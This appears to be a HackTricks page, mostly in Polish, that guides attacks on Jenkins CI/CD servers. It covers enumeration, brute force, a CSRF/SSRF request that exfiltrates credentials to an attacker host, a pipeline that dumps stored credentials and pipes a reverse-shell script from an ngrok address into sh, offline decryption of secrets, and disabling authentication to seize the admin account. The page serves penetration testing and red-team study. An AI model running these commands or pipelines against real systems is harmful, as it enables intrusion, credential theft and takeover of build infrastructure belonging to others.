Bezpieczeństwo Jenkins
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Jenkins to narzędzie, które oferuje prosty sposób na utworzenie środowiska continuous integration lub continuous delivery (CI/CD) dla niemal dowolnej kombinacji języków programowania i repozytoriów kodu źródłowego z użyciem pipeline’ów. Dodatkowo automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje potrzeby tworzenia skryptów dla poszczególnych kroków, zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowania, testowania i wdrażania, niż można to łatwo skonstruować ręcznie.
Enumeracja bez uwierzytelnienia
Aby wyszukać interesujące strony Jenkins bez uwierzytelnienia, takie jak (/people lub /asynchPeople, które wyświetlają aktualnych użytkowników), możesz użyć:
msf> use auxiliary/scanner/http/jenkins_enum
Sprawdź, czy możesz wykonywać polecenia bez uwierzytelniania:
msf> use auxiliary/scanner/http/jenkins_command
Bez poświadczeń możesz zajrzeć do ścieżki /asynchPeople/ lub /securityRealm/user/admin/search/index?q= w poszukiwaniu nazw użytkowników.
Możesz być w stanie uzyskać wersję Jenkinsa z ścieżki /oops lub /error
.png)
Znane podatności
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub
Logowanie
W podstawowych informacjach możesz sprawdzić wszystkie sposoby logowania w Jenkins:
Rejestracja
Możesz znaleźć instancje Jenkins, które pozwalają na utworzenie konta i zalogowanie się do nich. Tak proste.
Logowanie SSO
Jeśli dostępne były funkcje/plug-iny SSO, powinieneś spróbować zalogować się do aplikacji przy użyciu konta testowego (np. testowego konta Github/Bitbucket). Sposób opisany tutaj.
Bruteforce
Jenkins nie ma polityki haseł ani zabezpieczeń przed username brute-force. Konieczne jest zastosowanie brute-force wobec użytkowników, ponieważ mogą być używane słabe hasła lub nazwy użytkowników jako hasła, a nawet odwrócone nazwy użytkowników jako hasła.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Użyj this python script lub this powershell script.
IP Whitelisting Bypass
Wiele organizacji łączy SaaS-based source control management (SCM) systems takie jak GitHub lub GitLab z internal, self-hosted CI rozwiązaniem, takim jak Jenkins lub TeamCity. Ta konfiguracja pozwala systemom CI receive webhook events from SaaS source control vendors, głównie w celu uruchamiania zadań pipeline.
Aby to osiągnąć, organizacje whitelistują zakresy adresów IP (IP ranges) platform SCM, umożliwiając im dostęp do internal CI system przez webhooks. Jednak warto pamiętać, że każdy może założyć konto na GitHub lub GitLab i skonfigurować je tak, by uruchamiać webhook, potencjalnie wysyłając żądania do internal CI system.
Wewnętrzne nadużycia Jenkins
W tych scenariuszach zakładamy, że masz ważne konto z dostępem do Jenkins.
Warning
W zależności od mechanizmu Authorization skonfigurowanego w Jenkins oraz uprawnień skompromitowanego użytkownika możesz, ale nie musisz, być w stanie przeprowadzić poniższe ataki.
Aby uzyskać więcej informacji, zobacz podstawowe informacje:
Lista użytkowników
Jeżeli uzyskałeś dostęp do Jenkins, możesz wyświetlić innych zarejestrowanych użytkowników pod adresem http://127.0.0.1:8080/asynchPeople/
Zrzucanie buildów w celu znalezienia sekretów w postaci tekstu jawnego
Użyj this script aby zrzucić build console outputs i build environment variables, w nadziei na znalezienie sekretów w postaci tekstu jawnego.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Niektóre pluginy udostępniają Jelly validateButton lub test connection handlers pod ścieżkami takimi jak /descriptorByName/<Class>/testConnection. Jeśli handlery nie wymuszają POST ani sprawdzeń uprawnień, możesz:
- Zmień POST na GET i usuń Crumb, by obejść CSRF.
- Wywołaj handler jako low-priv/anonymous, jeśli nie istnieje sprawdzenie
Jenkins.ADMINISTER. - Wykonaj CSRF na adminie i zamień parametr host/URL, aby exfiltrate credentials lub wywołać połączenia wychodzące.
- Wykorzystaj błędy odpowiedzi (np.
ConnectException) jako oracle SSRF/port-scan.
Przykład GET (bez Crumb) zamieniający wywołanie walidacyjne w SSRF/credential exfiltration:
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
Kradzież poświadczeń SSH
If the compromised user has enough privileges to create/modify a new Jenkins node and SSH credentials are already stored to access other nodes, he could steal those credentials by creating/modifying a node and setting a host that will record the credentials without verifying the host key:
.png)
Zwykle znajdziesz Jenkins ssh credentials w global provider (/credentials/), więc możesz też je zrzucić tak, jak zrzucasz inne sekrety. Więcej informacji w sekcji Dumping secrets.
RCE in Jenkins
Getting a shell in the Jenkins server gives the attacker the opportunity to leak all the secrets and env variables and to exploit other machines located in the same network or even gather cloud credentials.
By default, Jenkins will run as SYSTEM. So, compromising it will give the attacker SYSTEM privileges.
RCE Creating/Modifying a project
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
Jenkins RCE Creating/Modifying Project
RCE Execute Groovy script
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
Jenkins RCE with Groovy Script
RCE Creating/Modifying Pipeline
You can also get RCE by creating/modifying a pipeline:
Jenkins RCE Creating/Modifying Pipeline
Eksploatacja pipeline’ów
To exploit pipelines you still need to have access to Jenkins.
Build Pipelines
Pipelines can also be used as build mechanism in projects, in that case it can be configured a file inside the repository that will contains the pipeline syntax. By default /Jenkinsfile is used:
.png)
It’s also possible to store pipeline configuration files in other places (in other repositories for example) with the goal of separating the repository access and the pipeline access.
If an attacker have write access over that file he will be able to modify it and potentially trigger the pipeline without even having access to Jenkins.
It’s possible that the attacker will need to bypass some branch protections (depending on the platform and the user privileges they could be bypassed or not).
The most common triggers to execute a custom pipeline are:
- Pull request to the main branch (or potentially to other branches)
- Push to the main branch (or potentially to other branches)
- Update the main branch and wait until it’s executed somehow
Note
If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.
Pipeline RCE
In the previous RCE section it was already indicated a technique to get RCE modifying a pipeline.
Checking Env variables
It’s possible to declare clear text env variables for the whole pipeline or for specific stages. This env variables shouldn’t contain sensitive info, but and attacker could always check all the pipeline configurations/Jenkinsfiles:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Zrzucanie sekretów
Aby dowiedzieć się, jak Jenkins zazwyczaj traktuje sekrety, sprawdź podstawowe informacje:
Poświadczenia mogą być przypisane do globalnych providerów (/credentials/) lub do konkretnych projektów (/job/<project-name>/configure). Dlatego, aby wyeksfiltrować wszystkie, musisz skompromisować przynajmniej wszystkie projekty, które zawierają sekrety i uruchomić niestandardowe/zatrute pipelines.
Jest jeszcze inny problem — aby umieścić sekret inside the env pipeline’a musisz znać nazwę i typ sekretu. Na przykład, jeśli spróbujesz załadować usernamePassword secret jako string secret, otrzymasz ten błąd:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Oto sposób ładowania kilku powszechnych typów sekretów:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
Na końcu tej strony możesz find all the credential types: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
Warning
Najlepszym sposobem, aby dump all the secrets at once jest compromising maszyny Jenkins (np. uruchamiając reverse shell w built-in node) i następnie leaking master keys i encrypted secrets oraz odszyfrowanie ich offline.
Więcej na temat jak to zrobić w Nodes & Agents section oraz w Post Exploitation section.
Wyzwalacze
Z the docs: Dyrektywa triggers definiuje automatyczne sposoby, w jaki Pipeline powinien być ponownie uruchamiany. Dla Pipeline’ów zintegrowanych ze źródłem takim jak GitHub lub BitBucket, triggers mogą nie być konieczne, ponieważ integracja oparta na webhookach prawdopodobnie już istnieje. Obecnie dostępne triggers to cron, pollSCM i upstream.
Przykład cron:
triggers { cron('H */4 * * 1-5') }
Sprawdź inne przykłady w dokumentacji.
Węzły & Agents
A Jenkins instance might have different agents running in different machines. Z perspektywy attacker, dostęp do różnych maszyn oznacza different potential cloud credentials do kradzieży lub different network access, który może być wykorzystany do eksploatacji innych maszyn.
For more information check the basic information:
Możesz wylistować skonfigurowane węzły w /computer/, zazwyczaj znajdziesz the **Built-In Node ** (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:
.png)
Szczególnie interesujące jest przejęcie Built-In node, ponieważ zawiera wrażliwe informacje dotyczące Jenkins.
Aby wskazać, że chcesz run the pipeline w built-in Jenkins node możesz w ramach pipeline określić następującą konfigurację:
pipeline {
agent {label 'built-in'}
Pełny przykład
Pipeline na konkretnym agencie, z cron trigger, z pipeline i stage env variables, ładując 2 zmienne w kroku i wysyłając reverse shell:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Arbitrary File Read to RCE
Jenkins Arbitrary File Read to RCE via “Remember Me”
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Exploitation
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
Możesz wylistować secrets uzyskując dostęp do /credentials/, jeśli masz wystarczające uprawnienia. Zwróć uwagę, że to wyświetli jedynie secrets znajdujące się w pliku credentials.xml, ale build configuration files mogą również zawierać więcej credentials.
If you can see the configuration of each project, you can also see in there the names of the credentials (secrets) being use to access the repository and other credentials of the project.
.png)
From Groovy
Jenkins Dumping Secrets from Groovy
Z dysku
Te pliki są potrzebne, aby odszyfrować Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Takie secrets zwykle można znaleźć w:
- credentials.xml
- jobs/…/build.xml
- jobs/…/config.xml
Oto regex, aby je znaleźć:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Odszyfruj sekrety Jenkins offline
Jeśli zrzuciłeś wymagane hasła do odszyfrowania sekretów, użyj this script aby odszyfrować te sekrety.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Odszyfruj sekrety Jenkins z Groovy
println(hudson.util.Secret.decrypt("{...}"))
Utwórz nowego użytkownika administratora
- Uzyskaj dostęp do pliku Jenkins config.xml w
/var/lib/jenkins/config.xmllubC:\Program Files (x86)\Jenkis\ - Znajdź element
<useSecurity>true</useSecurity>i zmień wartośćtruenafalse. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml- Zrestartuj serwer Jenkins:
service jenkins restart - Wejdź ponownie do portalu Jenkins — tym razem Jenkins nie będzie wymagać żadnych poświadczeń. Przejdź do “Manage Jenkins”, aby ustawić ponownie hasło administratora.
- Ponownie włącz bezpieczeństwo zmieniając ustawienie na
<useSecurity>true</useSecurity>i ponownie zrestartuj Jenkins.
Źródła
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter—toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

